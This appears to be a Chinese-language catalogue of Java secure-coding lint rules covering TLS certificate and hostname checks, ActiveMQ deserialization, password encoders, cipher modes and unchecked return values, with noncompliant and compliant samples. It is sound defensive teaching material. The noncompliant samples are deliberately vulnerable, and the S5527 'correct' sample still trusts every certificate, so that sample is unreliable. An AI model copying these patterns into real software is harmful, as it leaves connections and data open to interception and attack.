MITRE, CWE-915 - Improperly Controlled Modification of Dynamically-Determined
Object Attributes
Two Security Vulnerabilities in the Spring
Framework’s MVC by Ryan Berg and Dinis Cruz
规则S4830 : 进行SSL/TLS连接时,需要进行服务器证书校验
错误的代码示例
class TrustAllManager implements X509TrustManager {
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // 错误示范, nothing means trust any client
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // 错误示范, this method never throws exception, it means trust any client
LOG.log(Level.SEVERE, ERROR_MESSAGE);
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
}
See
OWASP Top 10 2017 Category A6 - Security
Misconfiguration
MITRE, CWE-295</a> - Improper Certificate Validation
CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms
规则S5301 : "ActiveMQConnectionFactory" 需要对任意数据包进行反序列化
错误的代码示例
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
factory.setTrustAllPackages(true); // 错误示范
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
// no call to factory.setTrustedPackages(...);
正确的代码示例
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
factory.setTrustedPackages(Arrays.asList("org.mypackage1", "org.mypackage2"));
See
OWASP Top 10 2017 Category A8 - Insecure Deserialization
MITRE, CWE-502 - Deserialization of Untrusted Data
ActiveMQ ObjectMessage Security Advisory
CVE-2015-5254
规则S5344 : 需要使用安全的"PasswordEncoder"进行身份认证
错误的代码示例
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
auth.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery("SELECT * FROM users WHERE username = ?")
.passwordEncoder(new StandardPasswordEncoder()); // 错误示范
// OR
auth.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery("SELECT * FROM users WHERE username = ?"); // 错误示范; default uses plain-text
// OR
auth.userDetailsService(...); // 错误示范; default uses plain-text
// OR
auth.userDetailsService(...).passwordEncoder(new StandardPasswordEncoder()); // 错误示范
}
正确的代码示例
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
auth.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery("Select * from users where username=?")
.passwordEncoder(new BCryptPasswordEncoder());
// or
auth.userDetailsService(null).passwordEncoder(new BCryptPasswordEncoder());
}
See
OWASP Top 10 2017 Category A2 - Broken Authentication
OWASP Top 10 2017 Category A6 - Securityc Misconfiguration
MITRE, CWE-328 - Reversible One-Way Hash
MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
SANS Top 25 - Porous Defenses
规则S5527 : SSL/TLS连接需要校验主机名
错误的代码示例
SSLContext sslcontext = SSLContext.getInstance( "TLS" );
sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
}}, new java.security.SecureRandom());
Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String requestedHost, SSLSession remoteServerSession) {
return true; // 错误示范
}
}).build();
SimpleEmail example:
Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true); // 错误示范; setSSLCheckServerIdentity(true) should also be called before sending the email
email.send();
JavaMail's example:
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // 错误示范; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication("username@gmail.com", "password");
}
});
正确的代码示例
SSLContext sslcontext = SSLContext.getInstance( "TLSv1.2" );
sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
@Override
public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
}}, new java.security.SecureRandom());
Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String requestedHost, SSLSession remoteServerSession) {
return requestedHost.equalsIgnoreCase(remoteServerSession.getPeerHost()); // 正确的代码示范
}
}).build();
SimpleEmail example:
Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true);
email.setSSLCheckServerIdentity(true); // 正确的代码示范
email.send();
JavaMail's example:
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.ssl.checkserveridentity", true); // 正确的代码示范
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication("username@gmail.com", "password");
}
});
See
OWASP Top 10 2017 Category A6 - Security Misconfiguration
MITRE, CWE-295 - Improper Certificate Validation
Derived from FindSecBugs rule - WEAK_HOSTNAME_VERIFIER
规则S5542 : 加密算法需要使用安全模式及填充
错误的代码示例
Cipher c0 = Cipher.getInstance("AES"); // 错误示范: by default ECB mode is chosen
Cipher c1 = Cipher.getInstance("AES/ECB/NoPadding"); // 错误示范: ECB doesn't provide serious message confidentiality
Cipher c3 = Cipher.getInstance("Blowfish/ECB/PKCS5Padding"); // 错误示范: ECB doesn't provide serious message confidentiality
Cipher c4 = Cipher.getInstance("DES/ECB/PKCS5Padding"); // 错误示范: ECB doesn't provide serious message confidentiality
Cipher c6 = Cipher.getInstance("AES/CBC/PKCS5Padding"); // 错误示范: CBC with PKCS5 is vulnerable to oracle padding attacks
Cipher c7 = Cipher.getInstance("Blowfish/CBC/PKCS5Padding"); // 错误示范: CBC with PKCS5 is vulnerable to oracle padding attacks
Cipher c8 = Cipher.getInstance("DES/CBC/PKCS5Padding"); // 错误示范: CBC with PKCS5 is vulnerable to oracle padding attacks
Cipher c9 = Cipher.getInstance("AES/CBC/PKCS7Padding"); // 错误示范: CBC with PKCS7 is vulnerable to oracle padding attacks
Cipher c10 = Cipher.getInstance("Blowfish/CBC/PKCS7Padding"); // 错误示范: CBC with PKCS7 is vulnerable to oracle padding attacks
Cipher c11 = Cipher.getInstance("DES/CBC/PKCS7Padding"); // 错误示范: CBC with PKCS7 is vulnerable to oracle padding attacks
Cipher c14 = Cipher.getInstance("RSA/NONE/NoPadding"); // 错误示范: RSA without OAEP padding scheme is not recommanded
正确的代码示例
// Recommended for block ciphers
Cipher c5 = Cipher.getInstance("AES/GCM/NoPadding"); // 正确的代码示范
// Recommended for RSA
Cipher c15 = Cipher.getInstance("RSA/None/OAEPWithSHA-1AndMGF1Padding"); // 正确的代码示范
Cipher c16 = Cipher.getInstance("RSA/None/OAEPWITHSHA-256ANDMGF1PADDING"); // 正确的代码示范
See
OWASP Top 10 2017 Category A6 - Security
Misconfiguration
MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms
SANS Top 25 - Porous Defenses
规则S5547 : 需要使用强壮的密钥算法
错误的代码示例
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;
public class test {
public static void main(String[] args) {
try
{
Cipher c1 = Cipher.getInstance("DES"); // 错误示范: DES works with 56-bit keys allow attacks via exhaustive search
Cipher c7 = Cipher.getInstance("DESede"); // 错误示范: Triple DES is vulnerable to meet-in-the-middle attack
Cipher c13 = Cipher.getInstance("RC2"); // 错误示范: RC2 is vulnerable to a related-key attack
Cipher c19 = Cipher.getInstance("RC4"); // 错误示范: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)
Cipher c25 = Cipher.getInstance("Blowfish"); // 错误示范: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks
NullCipher nc = new NullCipher(); // 错误示范: the NullCipher class provides an "identity cipher" one that does not transform or encrypt the plaintext in any way.
}
catch(NoSuchAlgorithmException|NoSuchPaddingException e)
{
}
}
}
正确的代码示例
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;
public class test {
public static void main(String[] args) {
try
{
Cipher c31 = Cipher.getInstance("AES/GCM/NoPadding"); // 正确的代码示范
}
catch(NoSuchAlgorithmException|NoSuchPaddingException e)
{
}
}
}
See
OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
CERT, MSC61-J. - Do not use insecure or weak cryptographic algorithms
SANS Top 25 - Porous Defenses
规则S899 : 如果方法返回中包含状态信息,必须进行状态检查
例如:如下操作必须进行检查:
java.io.File
所有返回状态码的操作 (mkdirs
除外)Iterator.hasNext()
Enumeration.hasMoreElements()
Lock.tryLock()
Condition.await*
CountDownLatch.await(long, TimeUnit)
Semaphore.tryAcquire
BlockingQueue
:offer
,remove
错误的代码示例
public void doSomething(File file, Lock lock) {
file.delete(); // 错误示范
// ...
lock.tryLock(); // 错误示范
}
正确的代码示例
public void doSomething(File file, Lock lock) {
if (!lock.tryLock()) {
// lock failed; take appropriate action
}
if (!file.delete()) {
// file delete failed; take appropriate action
}
}
See
CERT, ERR33-C. - Detect and handle standard library errors
CERT, POS54-C. - Detect and handle POSIX library errors
CERT, EXP00-J. - Do not ignore values returned by methods
CERT, EXP12-C. - Do not ignore values returned by functions
CERT, FIO02-J. - Detect and handle file-related errors
MITRE, CWE-754 - Improper Check for Unusual Exceptional Conditions